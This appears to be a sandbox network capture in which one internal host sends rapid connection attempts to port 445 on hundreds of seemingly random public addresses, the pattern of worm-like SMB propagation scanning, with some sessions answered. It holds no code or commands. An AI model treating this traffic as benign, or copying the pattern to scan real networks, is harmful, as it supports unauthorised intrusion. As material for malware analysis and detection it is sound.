Jul 20, 2022 15:44:44.272948980 CEST	445	51571	155.89.32.204	192.168.2.7
Jul 20, 2022 15:44:44.599908113 CEST	51562	445	192.168.2.7	177.51.218.182
Jul 20, 2022 15:44:44.787388086 CEST	51571	445	192.168.2.7	155.89.32.204
Jul 20, 2022 15:44:44.834069967 CEST	445	51562	177.51.218.182	192.168.2.7
Jul 20, 2022 15:44:45.052727938 CEST	445	51571	155.89.32.204	192.168.2.7
Jul 20, 2022 15:44:45.442672968 CEST	51588	445	192.168.2.7	38.54.74.139
Jul 20, 2022 15:44:45.443429947 CEST	51589	445	192.168.2.7	188.18.139.27
Jul 20, 2022 15:44:45.443666935 CEST	51590	445	192.168.2.7	140.48.229.39
Jul 20, 2022 15:44:45.443736076 CEST	51591	445	192.168.2.7	152.68.104.54
Jul 20, 2022 15:44:45.443903923 CEST	51592	445	192.168.2.7	161.219.16.115
Jul 20, 2022 15:44:45.443972111 CEST	51593	445	192.168.2.7	1.241.158.247
Jul 20, 2022 15:44:45.444041014 CEST	51594	445	192.168.2.7	7.121.62.173
Jul 20, 2022 15:44:45.444112062 CEST	51595	445	192.168.2.7	133.132.163.249
Jul 20, 2022 15:44:45.455362082 CEST	51596	445	192.168.2.7	74.241.131.226
Jul 20, 2022 15:44:45.455420017 CEST	51597	445	192.168.2.7	72.214.166.251
Jul 20, 2022 15:44:45.455528975 CEST	51598	445	192.168.2.7	215.123.149.118
Jul 20, 2022 15:44:45.455588102 CEST	51599	445	192.168.2.7	215.70.210.175
Jul 20, 2022 15:44:45.455672026 CEST	51600	445	192.168.2.7	25.36.146.8
Jul 20, 2022 15:44:45.455724001 CEST	51601	445	192.168.2.7	24.53.36.231
Jul 20, 2022 15:44:45.455799103 CEST	51602	445	192.168.2.7	46.1.201.130
Jul 20, 2022 15:44:45.455867052 CEST	51603	445	192.168.2.7	157.92.170.233
Jul 20, 2022 15:44:45.455950022 CEST	51604	445	192.168.2.7	220.190.82.51
Jul 20, 2022 15:44:45.456079006 CEST	51606	445	192.168.2.7	40.221.192.236
Jul 20, 2022 15:44:45.456161976 CEST	51607	445	192.168.2.7	214.225.234.162
Jul 20, 2022 15:44:45.456260920 CEST	51609	445	192.168.2.7	172.8.201.172
Jul 20, 2022 15:44:45.456338882 CEST	51610	445	192.168.2.7	200.50.131.103
Jul 20, 2022 15:44:45.456403017 CEST	51611	445	192.168.2.7	217.215.154.133
Jul 20, 2022 15:44:45.456468105 CEST	51612	445	192.168.2.7	120.191.72.183
Jul 20, 2022 15:44:45.456548929 CEST	51613	445	192.168.2.7	135.117.94.213
Jul 20, 2022 15:44:45.456613064 CEST	51614	445	192.168.2.7	216.71.186.23
Jul 20, 2022 15:44:45.456691980 CEST	51615	445	192.168.2.7	42.122.246.4
Jul 20, 2022 15:44:45.456742048 CEST	51616	445	192.168.2.7	79.101.164.16
Jul 20, 2022 15:44:45.456881046 CEST	51617	445	192.168.2.7	24.230.244.121
Jul 20, 2022 15:44:45.457060099 CEST	51624	445	192.168.2.7	208.213.157.235
Jul 20, 2022 15:44:45.464188099 CEST	51627	445	192.168.2.7	130.26.104.114
Jul 20, 2022 15:44:45.464955091 CEST	51628	445	192.168.2.7	179.236.163.165
Jul 20, 2022 15:44:45.465749979 CEST	51629	445	192.168.2.7	4.124.236.123
Jul 20, 2022 15:44:45.525479078 CEST	445	51589	188.18.139.27	192.168.2.7
Jul 20, 2022 15:44:45.525943995 CEST	51589	445	192.168.2.7	188.18.139.27
Jul 20, 2022 15:44:45.560101032 CEST	51589	445	192.168.2.7	188.18.139.27
Jul 20, 2022 15:44:45.637487888 CEST	445	51589	188.18.139.27	192.168.2.7
Jul 20, 2022 15:44:45.641448975 CEST	445	51589	188.18.139.27	192.168.2.7
Jul 20, 2022 15:44:45.675415039 CEST	51589	445	192.168.2.7	188.18.139.27
Jul 20, 2022 15:44:45.757482052 CEST	445	51589	188.18.139.27	192.168.2.7
Jul 20, 2022 15:44:45.759032965 CEST	51589	445	192.168.2.7	188.18.139.27
Jul 20, 2022 15:44:45.841515064 CEST	445	51589	188.18.139.27	192.168.2.7
Jul 20, 2022 15:44:45.854837894 CEST	51589	445	192.168.2.7	188.18.139.27
Jul 20, 2022 15:44:45.933468103 CEST	445	51589	188.18.139.27	192.168.2.7
Jul 20, 2022 15:44:45.934237003 CEST	51589	445	192.168.2.7	188.18.139.27
Jul 20, 2022 15:44:45.998565912 CEST	51631	445	192.168.2.7	188.18.139.28
Jul 20, 2022 15:44:46.013545990 CEST	445	51589	188.18.139.27	192.168.2.7
Jul 20, 2022 15:44:46.013719082 CEST	51589	445	192.168.2.7	188.18.139.27
Jul 20, 2022 15:44:46.083379030 CEST	445	51631	188.18.139.28	192.168.2.7
Jul 20, 2022 15:44:46.083642006 CEST	51631	445	192.168.2.7	188.18.139.28
Jul 20, 2022 15:44:46.099056005 CEST	51631	445	192.168.2.7	188.18.139.28
Jul 20, 2022 15:44:46.111263990 CEST	51632	445	192.168.2.7	188.18.139.28
Jul 20, 2022 15:44:46.183285952 CEST	445	51631	188.18.139.28	192.168.2.7
Jul 20, 2022 15:44:46.187242031 CEST	445	51631	188.18.139.28	192.168.2.7
Jul 20, 2022 15:44:46.187364101 CEST	51631	445	192.168.2.7	188.18.139.28
Jul 20, 2022 15:44:46.198189974 CEST	445	51632	188.18.139.28	192.168.2.7
Jul 20, 2022 15:44:46.198334932 CEST	51632	445	192.168.2.7	188.18.139.28
Jul 20, 2022 15:44:46.223896027 CEST	51632	445	192.168.2.7	188.18.139.28
Jul 20, 2022 15:44:46.315742970 CEST	445	51632	188.18.139.28	192.168.2.7
Jul 20, 2022 15:44:46.318161011 CEST	445	51632	188.18.139.28	192.168.2.7
Jul 20, 2022 15:44:46.349330902 CEST	51632	445	192.168.2.7	188.18.139.28
Jul 20, 2022 15:44:46.442224979 CEST	445	51632	188.18.139.28	192.168.2.7
Jul 20, 2022 15:44:46.442451000 CEST	51632	445	192.168.2.7	188.18.139.28
Jul 20, 2022 15:44:46.532869101 CEST	445	51632	188.18.139.28	192.168.2.7
Jul 20, 2022 15:44:46.533049107 CEST	51632	445	192.168.2.7	188.18.139.28
Jul 20, 2022 15:44:46.565740108 CEST	51633	445	192.168.2.7	218.197.190.211
Jul 20, 2022 15:44:46.572005033 CEST	51635	445	192.168.2.7	71.182.132.21
Jul 20, 2022 15:44:46.572989941 CEST	51637	445	192.168.2.7	79.132.250.210
Jul 20, 2022 15:44:46.573493958 CEST	51638	445	192.168.2.7	79.4.48.231
Jul 20, 2022 15:44:46.574261904 CEST	51639	445	192.168.2.7	112.24.252.229
Jul 20, 2022 15:44:46.575381994 CEST	51640	445	192.168.2.7	49.211.24.241
Jul 20, 2022 15:44:46.576252937 CEST	51641	445	192.168.2.7	62.46.13.21
Jul 20, 2022 15:44:46.577066898 CEST	51642	445	192.168.2.7	2.213.85.156
Jul 20, 2022 15:44:46.577790022 CEST	51643	445	192.168.2.7	61.155.123.96
Jul 20, 2022 15:44:46.578509092 CEST	51644	445	192.168.2.7	56.58.78.142
Jul 20, 2022 15:44:46.579253912 CEST	51645	445	192.168.2.7	21.222.127.213
Jul 20, 2022 15:44:46.579967022 CEST	51646	445	192.168.2.7	67.58.221.169
Jul 20, 2022 15:44:46.588023901 CEST	51647	445	192.168.2.7	79.204.71.15
Jul 20, 2022 15:44:46.591335058 CEST	51648	445	192.168.2.7	33.243.66.127
Jul 20, 2022 15:44:46.591382027 CEST	51651	445	192.168.2.7	30.58.232.134
Jul 20, 2022 15:44:46.591417074 CEST	51650	445	192.168.2.7	19.123.54.229
Jul 20, 2022 15:44:46.591600895 CEST	51652	445	192.168.2.7	211.121.52.114
Jul 20, 2022 15:44:46.591608047 CEST	51653	445	192.168.2.7	118.15.2.70
Jul 20, 2022 15:44:46.591639042 CEST	51654	445	192.168.2.7	86.74.35.239
Jul 20, 2022 15:44:46.591727972 CEST	51656	445	192.168.2.7	42.225.171.10
Jul 20, 2022 15:44:46.591800928 CEST	51657	445	192.168.2.7	200.226.205.250
Jul 20, 2022 15:44:46.591830969 CEST	51658	445	192.168.2.7	177.148.158.71
Jul 20, 2022 15:44:46.591881037 CEST	51659	445	192.168.2.7	143.49.147.48
Jul 20, 2022 15:44:46.591931105 CEST	51660	445	192.168.2.7	139.167.212.36
Jul 20, 2022 15:44:46.592008114 CEST	51661	445	192.168.2.7	72.193.75.10
Jul 20, 2022 15:44:46.592061996 CEST	51662	445	192.168.2.7	212.32.105.187
Jul 20, 2022 15:44:46.592108011 CEST	51663	445	192.168.2.7	26.36.84.91
Jul 20, 2022 15:44:46.592160940 CEST	51664	445	192.168.2.7	32.47.124.82
Jul 20, 2022 15:44:46.610270023 CEST	51671	445	192.168.2.7	159.120.159.245
Jul 20, 2022 15:44:46.610321045 CEST	51670	445	192.168.2.7	47.66.216.212
Jul 20, 2022 15:44:46.610424995 CEST	51673	445	192.168.2.7	64.218.11.236
Jul 20, 2022 15:44:46.622204065 CEST	445	51632	188.18.139.28	192.168.2.7
Jul 20, 2022 15:44:46.622526884 CEST	51632	445	192.168.2.7	188.18.139.28
Jul 20, 2022 15:44:46.714298010 CEST	445	51632	188.18.139.28	192.168.2.7
Jul 20, 2022 15:44:46.714653969 CEST	51632	445	192.168.2.7	188.18.139.28
Jul 20, 2022 15:44:47.689239979 CEST	51678	445	192.168.2.7	98.224.8.152
Jul 20, 2022 15:44:47.696338892 CEST	51680	445	192.168.2.7	209.180.14.191
Jul 20, 2022 15:44:47.696558952 CEST	51681	445	192.168.2.7	167.66.112.27
Jul 20, 2022 15:44:47.696573973 CEST	51682	445	192.168.2.7	50.70.232.225
Jul 20, 2022 15:44:47.696669102 CEST	51683	445	192.168.2.7	185.118.1.207
Jul 20, 2022 15:44:47.696696043 CEST	51684	445	192.168.2.7	121.181.110.167
Jul 20, 2022 15:44:47.696784973 CEST	51685	445	192.168.2.7	53.22.40.187
Jul 20, 2022 15:44:47.696887970 CEST	51686	445	192.168.2.7	102.240.194.27
Jul 20, 2022 15:44:47.696917057 CEST	51687	445	192.168.2.7	162.211.37.113
Jul 20, 2022 15:44:47.696985006 CEST	51688	445	192.168.2.7	165.250.55.8
Jul 20, 2022 15:44:47.697040081 CEST	51689	445	192.168.2.7	210.107.240.77
Jul 20, 2022 15:44:47.697079897 CEST	51690	445	192.168.2.7	187.74.111.2
Jul 20, 2022 15:44:47.713793993 CEST	51691	445	192.168.2.7	169.120.191.249
Jul 20, 2022 15:44:47.726419926 CEST	51693	445	192.168.2.7	110.73.59.230
Jul 20, 2022 15:44:47.726476908 CEST	51692	445	192.168.2.7	161.233.107.117
Jul 20, 2022 15:44:47.726645947 CEST	51695	445	192.168.2.7	123.104.209.140
Jul 20, 2022 15:44:47.726751089 CEST	51696	445	192.168.2.7	26.143.35.221
Jul 20, 2022 15:44:47.726768017 CEST	51697	445	192.168.2.7	45.145.145.142
Jul 20, 2022 15:44:47.726881981 CEST	51698	445	192.168.2.7	173.119.24.128
Jul 20, 2022 15:44:47.726965904 CEST	51700	445	192.168.2.7	97.219.254.170
Jul 20, 2022 15:44:47.726983070 CEST	51699	445	192.168.2.7	44.126.216.115
Jul 20, 2022 15:44:47.727154970 CEST	51702	445	192.168.2.7	8.241.72.38
Jul 20, 2022 15:44:47.727289915 CEST	51706	445	192.168.2.7	124.16.93.5
Jul 20, 2022 15:44:47.727386951 CEST	51708	445	192.168.2.7	89.156.150.135
Jul 20, 2022 15:44:47.727463007 CEST	51709	445	192.168.2.7	133.143.224.159
Jul 20, 2022 15:44:47.727560997 CEST	51711	445	192.168.2.7	184.250.236.15
Jul 20, 2022 15:44:47.727797985 CEST	51713	445	192.168.2.7	207.26.132.32
Jul 20, 2022 15:44:47.727910995 CEST	51714	445	192.168.2.7	191.0.91.67
Jul 20, 2022 15:44:47.728086948 CEST	51715	445	192.168.2.7	100.195.78.28
Jul 20, 2022 15:44:47.728238106 CEST	51716	445	192.168.2.7	144.168.220.67
Jul 20, 2022 15:44:47.728379011 CEST	51717	445	192.168.2.7	97.130.54.212
Jul 20, 2022 15:44:47.904306889 CEST	445	51716	144.168.220.67	192.168.2.7
Jul 20, 2022 15:44:48.600163937 CEST	51716	445	192.168.2.7	144.168.220.67
Jul 20, 2022 15:44:48.774988890 CEST	445	51716	144.168.220.67	192.168.2.7
Jul 20, 2022 15:44:48.805154085 CEST	51722	445	192.168.2.7	21.205.83.118
Jul 20, 2022 15:44:48.824847937 CEST	51724	445	192.168.2.7	204.234.23.175
Jul 20, 2022 15:44:48.824935913 CEST	51726	445	192.168.2.7	113.56.177.45
Jul 20, 2022 15:44:48.824970961 CEST	51727	445	192.168.2.7	47.230.254.171
Jul 20, 2022 15:44:48.824976921 CEST	51725	445	192.168.2.7	134.188.39.181
Jul 20, 2022 15:44:48.825041056 CEST	51728	445	192.168.2.7	79.83.209.198
Jul 20, 2022 15:44:48.825066090 CEST	51729	445	192.168.2.7	50.11.28.227
Jul 20, 2022 15:44:48.825165033 CEST	51730	445	192.168.2.7	55.15.60.30
Jul 20, 2022 15:44:48.825220108 CEST	51731	445	192.168.2.7	15.199.163.236
Jul 20, 2022 15:44:48.825304985 CEST	51732	445	192.168.2.7	200.154.199.90
Jul 20, 2022 15:44:48.825351000 CEST	51733	445	192.168.2.7	105.112.98.117
Jul 20, 2022 15:44:48.825437069 CEST	51734	445	192.168.2.7	197.245.248.211
Jul 20, 2022 15:44:48.835236073 CEST	51735	445	192.168.2.7	113.239.243.116
Jul 20, 2022 15:44:48.851447105 CEST	51736	445	192.168.2.7	38.106.94.208
Jul 20, 2022 15:44:48.852046013 CEST	51737	445	192.168.2.7	110.3.141.220
Jul 20, 2022 15:44:48.853121042 CEST	51739	445	192.168.2.7	155.222.31.158
Jul 20, 2022 15:44:48.853867054 CEST	51740	445	192.168.2.7	93.100.161.39
Jul 20, 2022 15:44:48.854530096 CEST	51741	445	192.168.2.7	6.141.178.173
Jul 20, 2022 15:44:48.855081081 CEST	51742	445	192.168.2.7	151.37.201.34
Jul 20, 2022 15:44:48.855670929 CEST	51743	445	192.168.2.7	218.40.66.173
Jul 20, 2022 15:44:48.856683969 CEST	51745	445	192.168.2.7	99.196.10.20
Jul 20, 2022 15:44:48.857750893 CEST	51747	445	192.168.2.7	194.75.228.9
Jul 20, 2022 15:44:48.859638929 CEST	51751	445	192.168.2.7	62.142.211.94
Jul 20, 2022 15:44:48.860138893 CEST	51752	445	192.168.2.7	182.178.77.105
Jul 20, 2022 15:44:48.860635042 CEST	51753	445	192.168.2.7	122.225.165.44
Jul 20, 2022 15:44:48.861619949 CEST	51755	445	192.168.2.7	205.168.77.191
Jul 20, 2022 15:44:48.862277985 CEST	51756	445	192.168.2.7	65.151.136.59
Jul 20, 2022 15:44:48.863344908 CEST	51758	445	192.168.2.7	29.200.112.52
Jul 20, 2022 15:44:48.863889933 CEST	51759	445	192.168.2.7	126.223.109.187
Jul 20, 2022 15:44:48.864511013 CEST	51760	445	192.168.2.7	114.29.20.137
Jul 20, 2022 15:44:48.864929914 CEST	51761	445	192.168.2.7	123.58.153.22
Jul 20, 2022 15:44:49.643210888 CEST	51765	445	192.168.2.7	188.18.139.28
Jul 20, 2022 15:44:49.726629019 CEST	445	51765	188.18.139.28	192.168.2.7
Jul 20, 2022 15:44:49.726759911 CEST	51765	445	192.168.2.7	188.18.139.28
Jul 20, 2022 15:44:49.726923943 CEST	51765	445	192.168.2.7	188.18.139.28
Jul 20, 2022 15:44:49.810594082 CEST	445	51765	188.18.139.28	192.168.2.7
Jul 20, 2022 15:44:49.818635941 CEST	445	51765	188.18.139.28	192.168.2.7
Jul 20, 2022 15:44:49.818798065 CEST	51765	445	192.168.2.7	188.18.139.28
Jul 20, 2022 15:44:49.906591892 CEST	445	51765	188.18.139.28	192.168.2.7
Jul 20, 2022 15:44:49.906771898 CEST	51765	445	192.168.2.7	188.18.139.28
Jul 20, 2022 15:44:49.929847002 CEST	51769	445	192.168.2.7	137.38.63.56
Jul 20, 2022 15:44:49.945450068 CEST	51771	445	192.168.2.7	50.93.138.215
Jul 20, 2022 15:44:49.946022034 CEST	51772	445	192.168.2.7	50.56.55.65
Jul 20, 2022 15:44:49.982161999 CEST	51773	445	192.168.2.7	199.228.37.186
Jul 20, 2022 15:44:49.991166115 CEST	51775	445	192.168.2.7	67.41.10.207
Jul 20, 2022 15:44:49.991231918 CEST	51774	445	192.168.2.7	201.233.147.210
Jul 20, 2022 15:44:49.991308928 CEST	51776	445	192.168.2.7	36.184.35.67
Jul 20, 2022 15:44:49.991420031 CEST	51777	445	192.168.2.7	12.215.129.200
Jul 20, 2022 15:44:49.991437912 CEST	51778	445	192.168.2.7	33.128.238.25
Jul 20, 2022 15:44:49.991561890 CEST	51779	445	192.168.2.7	66.104.252.143
Jul 20, 2022 15:44:49.992146015 CEST	51780	445	192.168.2.7	47.51.241.51
Jul 20, 2022 15:44:49.992158890 CEST	51781	445	192.168.2.7	47.72.16.174
Jul 20, 2022 15:44:49.992218971 CEST	51782	445	192.168.2.7	204.66.30.110
Jul 20, 2022 15:44:49.994496107 CEST	445	51765	188.18.139.28	192.168.2.7
Jul 20, 2022 15:44:49.995214939 CEST	51765	445	192.168.2.7	188.18.139.28
Jul 20, 2022 15:44:49.995423079 CEST	51784	445	192.168.2.7	88.189.6.120
Jul 20, 2022 15:44:49.995423079 CEST	51783	445	192.168.2.7	18.18.231.19
Jul 20, 2022 15:44:49.995546103 CEST	51786	445	192.168.2.7	158.68.132.226
Jul 20, 2022 15:44:49.995604038 CEST	51787	445	192.168.2.7	31.148.86.200
Jul 20, 2022 15:44:49.995665073 CEST	51788	445	192.168.2.7	149.174.166.107
Jul 20, 2022 15:44:49.995697975 CEST	51789	445	192.168.2.7	205.57.221.160
Jul 20, 2022 15:44:49.995773077 CEST	51790	445	192.168.2.7	214.175.69.115
Jul 20, 2022 15:44:49.995867968 CEST	51793	445	192.168.2.7	223.137.244.147
Jul 20, 2022 15:44:49.995883942 CEST	51794	445	192.168.2.7	75.58.126.127
Jul 20, 2022 15:44:49.996057987 CEST	51798	445	192.168.2.7	166.82.193.180
Jul 20, 2022 15:44:49.996069908 CEST	51799	445	192.168.2.7	134.218.20.166
Jul 20, 2022 15:44:49.996160030 CEST	51800	445	192.168.2.7	123.1.10.226
Jul 20, 2022 15:44:49.996223927 CEST	51802	445	192.168.2.7	160.131.52.36
Jul 20, 2022 15:44:49.996279955 CEST	51803	445	192.168.2.7	132.69.195.170
Jul 20, 2022 15:44:49.996366978 CEST	51805	445	192.168.2.7	62.168.251.239
Jul 20, 2022 15:44:49.996412039 CEST	51806	445	192.168.2.7	125.1.56.58
Jul 20, 2022 15:44:49.996500015 CEST	51807	445	192.168.2.7	2.150.195.135
Jul 20, 2022 15:44:49.996563911 CEST	51809	445	192.168.2.7	192.126.2.81
Jul 20, 2022 15:44:50.078592062 CEST	445	51765	188.18.139.28	192.168.2.7
Jul 20, 2022 15:44:50.078706026 CEST	51765	445	192.168.2.7	188.18.139.28
Jul 20, 2022 15:44:50.137588978 CEST	51810	445	192.168.2.7	188.18.139.29
Jul 20, 2022 15:44:50.166645050 CEST	445	51765	188.18.139.28	192.168.2.7
Jul 20, 2022 15:44:50.166758060 CEST	51765	445	192.168.2.7	188.18.139.28
Jul 20, 2022 15:44:50.294152975 CEST	445	51806	125.1.56.58	192.168.2.7
Jul 20, 2022 15:44:50.897260904 CEST	51806	445	192.168.2.7	125.1.56.58
Jul 20, 2022 15:44:51.039315939 CEST	51813	445	192.168.2.7	83.21.116.138
Jul 20, 2022 15:44:51.072092056 CEST	51816	445	192.168.2.7	209.63.237.199
Jul 20, 2022 15:44:51.072942019 CEST	51817	445	192.168.2.7	128.165.130.71
Jul 20, 2022 15:44:51.111875057 CEST	51818	445	192.168.2.7	3.250.191.204
Jul 20, 2022 15:44:51.115214109 CEST	51819	445	192.168.2.7	24.23.98.44
Jul 20, 2022 15:44:51.115485907 CEST	51822	445	192.168.2.7	159.228.95.70
Jul 20, 2022 15:44:51.115535021 CEST	51823	445	192.168.2.7	124.43.167.36
Jul 20, 2022 15:44:51.115663052 CEST	51827	445	192.168.2.7	169.33.9.199
Jul 20, 2022 15:44:51.115677118 CEST	51826	445	192.168.2.7	78.99.215.173
Jul 20, 2022 15:44:51.115803957 CEST	51830	445	192.168.2.7	132.99.192.166
Jul 20, 2022 15:44:51.115864038 CEST	51829	445	192.168.2.7	116.213.70.218
Jul 20, 2022 15:44:51.115935087 CEST	51832	445	192.168.2.7	171.136.188.241
Jul 20, 2022 15:44:51.117419004 CEST	51833	445	192.168.2.7	53.251.54.149
Jul 20, 2022 15:44:51.117544889 CEST	51834	445	192.168.2.7	182.195.206.38
Jul 20, 2022 15:44:51.117611885 CEST	51835	445	192.168.2.7	197.72.34.199
Jul 20, 2022 15:44:51.117700100 CEST	51836	445	192.168.2.7	6.170.250.12
Jul 20, 2022 15:44:51.117762089 CEST	51837	445	192.168.2.7	171.169.21.54
Jul 20, 2022 15:44:51.117830038 CEST	51838	445	192.168.2.7	135.213.14.17
Jul 20, 2022 15:44:51.117912054 CEST	51839	445	192.168.2.7	136.54.128.86
Jul 20, 2022 15:44:51.117978096 CEST	51840	445	192.168.2.7	159.225.52.78
Jul 20, 2022 15:44:51.118042946 CEST	51841	445	192.168.2.7	126.14.227.2
Jul 20, 2022 15:44:51.118109941 CEST	51842	445	192.168.2.7	28.74.76.154
Jul 20, 2022 15:44:51.118191004 CEST	51843	445	192.168.2.7	99.80.184.247
Jul 20, 2022 15:44:51.118254900 CEST	51844	445	192.168.2.7	132.93.81.72
Jul 20, 2022 15:44:51.118323088 CEST	51845	445	192.168.2.7	205.20.150.62
Jul 20, 2022 15:44:51.118393898 CEST	51846	445	192.168.2.7	166.70.11.236
Jul 20, 2022 15:44:51.118524075 CEST	51848	445	192.168.2.7	29.98.239.62
Jul 20, 2022 15:44:51.118599892 CEST	51849	445	192.168.2.7	57.78.152.48
Jul 20, 2022 15:44:51.118716955 CEST	51851	445	192.168.2.7	195.143.192.139
Jul 20, 2022 15:44:51.118796110 CEST	51852	445	192.168.2.7	30.179.123.99
Jul 20, 2022 15:44:51.118880987 CEST	51853	445	192.168.2.7	143.67.177.220
Jul 20, 2022 15:44:51.195383072 CEST	445	51806	125.1.56.58	192.168.2.7
Jul 20, 2022 15:44:51.218633890 CEST	51855	445	192.168.2.7	188.18.139.30
Jul 20, 2022 15:44:51.250528097 CEST	445	51816	209.63.237.199	192.168.2.7
Jul 20, 2022 15:44:51.301793098 CEST	445	51855	188.18.139.30	192.168.2.7
Jul 20, 2022 15:44:51.302002907 CEST	51855	445	192.168.2.7	188.18.139.30
Jul 20, 2022 15:44:51.302181959 CEST	51855	445	192.168.2.7	188.18.139.30
Jul 20, 2022 15:44:51.305829048 CEST	51856	445	192.168.2.7	188.18.139.30
Jul 20, 2022 15:44:51.385648012 CEST	445	51855	188.18.139.30	192.168.2.7
Jul 20, 2022 15:44:51.389950037 CEST	445	51856	188.18.139.30	192.168.2.7
Jul 20, 2022 15:44:51.390074968 CEST	51856	445	192.168.2.7	188.18.139.30
Jul 20, 2022 15:44:51.390289068 CEST	51856	445	192.168.2.7	188.18.139.30
Jul 20, 2022 15:44:51.393616915 CEST	445	51855	188.18.139.30	192.168.2.7
Jul 20, 2022 15:44:51.393726110 CEST	51855	445	192.168.2.7	188.18.139.30
Jul 20, 2022 15:44:51.473937988 CEST	445	51856	188.18.139.30	192.168.2.7
Jul 20, 2022 15:44:51.482006073 CEST	445	51856	188.18.139.30	192.168.2.7
Jul 20, 2022 15:44:51.482270956 CEST	51856	445	192.168.2.7	188.18.139.30
Jul 20, 2022 15:44:51.568434954 CEST	445	51856	188.18.139.30	192.168.2.7
Jul 20, 2022 15:44:51.568588018 CEST	51856	445	192.168.2.7	188.18.139.30
Jul 20, 2022 15:44:51.654006958 CEST	445	51856	188.18.139.30	192.168.2.7
Jul 20, 2022 15:44:51.654372931 CEST	51856	445	192.168.2.7	188.18.139.30
Jul 20, 2022 15:44:51.740473032 CEST	445	51856	188.18.139.30	192.168.2.7
Jul 20, 2022 15:44:51.740681887 CEST	51856	445	192.168.2.7	188.18.139.30
Jul 20, 2022 15:44:51.792335033 CEST	51816	445	192.168.2.7	209.63.237.199
Jul 20, 2022 15:44:51.825987101 CEST	445	51856	188.18.139.30	192.168.2.7
Jul 20, 2022 15:44:51.826133013 CEST	51856	445	192.168.2.7	188.18.139.30
Jul 20, 2022 15:44:51.971898079 CEST	445	51816	209.63.237.199	192.168.2.7
Jul 20, 2022 15:44:52.172465086 CEST	51860	445	192.168.2.7	90.89.75.243
Jul 20, 2022 15:44:52.195492983 CEST	51862	445	192.168.2.7	139.70.9.87
Jul 20, 2022 15:44:52.195503950 CEST	51863	445	192.168.2.7	79.87.181.102
Jul 20, 2022 15:44:52.225959063 CEST	51865	445	192.168.2.7	45.191.194.229
Jul 20, 2022 15:44:52.242393017 CEST	51867	445	192.168.2.7	43.16.237.108
Jul 20, 2022 15:44:52.242902040 CEST	51868	445	192.168.2.7	138.107.203.42
Jul 20, 2022 15:44:52.243410110 CEST	51869	445	192.168.2.7	146.183.29.196
Jul 20, 2022 15:44:52.243947983 CEST	51870	445	192.168.2.7	154.67.183.98
Jul 20, 2022 15:44:52.244473934 CEST	51871	445	192.168.2.7	189.237.141.148
Jul 20, 2022 15:44:52.316425085 CEST	51872	445	192.168.2.7	154.22.145.192
Jul 20, 2022 15:44:52.318696022 CEST	51873	445	192.168.2.7	18.142.17.193
Jul 20, 2022 15:44:52.318852901 CEST	51874	445	192.168.2.7	64.253.181.114
Jul 20, 2022 15:44:52.318856001 CEST	51875	445	192.168.2.7	46.10.197.74
Jul 20, 2022 15:44:52.318947077 CEST	51876	445	192.168.2.7	131.131.225.153
Jul 20, 2022 15:44:52.318969011 CEST	51877	445	192.168.2.7	34.140.116.117
Jul 20, 2022 15:44:52.319071054 CEST	51880	445	192.168.2.7	92.114.35.217
Jul 20, 2022 15:44:52.319101095 CEST	51878	445	192.168.2.7	120.127.202.127
Jul 20, 2022 15:44:52.319859028 CEST	51879	445	192.168.2.7	72.112.180.35
Jul 20, 2022 15:44:52.319988012 CEST	51881	445	192.168.2.7	120.120.209.153
Jul 20, 2022 15:44:52.320391893 CEST	51882	445	192.168.2.7	200.150.187.230
Jul 20, 2022 15:44:52.320862055 CEST	51884	445	192.168.2.7	167.243.236.226
Jul 20, 2022 15:44:52.321439981 CEST	51886	445	192.168.2.7	131.213.151.191
Jul 20, 2022 15:44:52.322016954 CEST	51889	445	192.168.2.7	55.196.52.211
Jul 20, 2022 15:44:52.322165012 CEST	51890	445	192.168.2.7	96.65.25.71
Jul 20, 2022 15:44:52.323086023 CEST	51892	445	192.168.2.7	51.200.208.178
Jul 20, 2022 15:44:52.323446035 CEST	51894	445	192.168.2.7	212.51.56.40
Jul 20, 2022 15:44:52.323803902 CEST	51895	445	192.168.2.7	63.171.163.40
Jul 20, 2022 15:44:52.324193001 CEST	51897	445	192.168.2.7	102.6.30.225
Jul 20, 2022 15:44:52.324204922 CEST	51898	445	192.168.2.7	72.95.110.141
Jul 20, 2022 15:44:52.324552059 CEST	51900	445	192.168.2.7	96.206.131.98
Jul 20, 2022 15:44:52.324743986 CEST	51901	445	192.168.2.7	88.94.8.181
Jul 20, 2022 15:44:52.507390976 CEST	445	51873	18.142.17.193	192.168.2.7
Jul 20, 2022 15:44:53.100545883 CEST	51873	445	192.168.2.7	18.142.17.193
Jul 20, 2022 15:44:53.236005068 CEST	51905	443	192.168.2.7	20.199.120.85
Jul 20, 2022 15:44:53.236051083 CEST	443	51905	20.199.120.85	192.168.2.7
Jul 20, 2022 15:44:53.236145973 CEST	51905	443	192.168.2.7	20.199.120.85
Jul 20, 2022 15:44:53.237392902 CEST	51905	443	192.168.2.7	20.199.120.85
Jul 20, 2022 15:44:53.237416983 CEST	443	51905	20.199.120.85	192.168.2.7
Jul 20, 2022 15:44:53.289880037 CEST	445	51873	18.142.17.193	192.168.2.7
Jul 20, 2022 15:44:53.290994883 CEST	51906	445	192.168.2.7	77.99.159.166
Jul 20, 2022 15:44:53.320856094 CEST	51908	445	192.168.2.7	50.51.139.40
Jul 20, 2022 15:44:53.322303057 CEST	51910	445	192.168.2.7	219.175.153.107
Jul 20, 2022 15:44:53.329514027 CEST	443	51905	20.199.120.85	192.168.2.7
Jul 20, 2022 15:44:53.329689026 CEST	51905	443	192.168.2.7	20.199.120.85
Jul 20, 2022 15:44:53.332918882 CEST	51905	443	192.168.2.7	20.199.120.85
Jul 20, 2022 15:44:53.332936049 CEST	443	51905	20.199.120.85	192.168.2.7
Jul 20, 2022 15:44:53.333333969 CEST	443	51905	20.199.120.85	192.168.2.7
Jul 20, 2022 15:44:53.341613054 CEST	51911	445	192.168.2.7	137.210.148.83
Jul 20, 2022 15:44:53.343727112 CEST	51905	443	192.168.2.7	20.199.120.85
Jul 20, 2022 15:44:53.343766928 CEST	51905	443	192.168.2.7	20.199.120.85
Jul 20, 2022 15:44:53.343779087 CEST	443	51905	20.199.120.85	192.168.2.7
Jul 20, 2022 15:44:53.343977928 CEST	51905	443	192.168.2.7	20.199.120.85
Jul 20, 2022 15:44:53.353497028 CEST	51912	445	192.168.2.7	111.39.145.76
Jul 20, 2022 15:44:53.353629112 CEST	51913	445	192.168.2.7	185.202.154.2
Jul 20, 2022 15:44:53.353677034 CEST	51915	445	192.168.2.7	72.59.8.229
Jul 20, 2022 15:44:53.353748083 CEST	51916	445	192.168.2.7	17.101.243.246
Jul 20, 2022 15:44:53.353981018 CEST	51914	445	192.168.2.7	159.205.157.55
Jul 20, 2022 15:44:53.371015072 CEST	443	51905	20.199.120.85	192.168.2.7
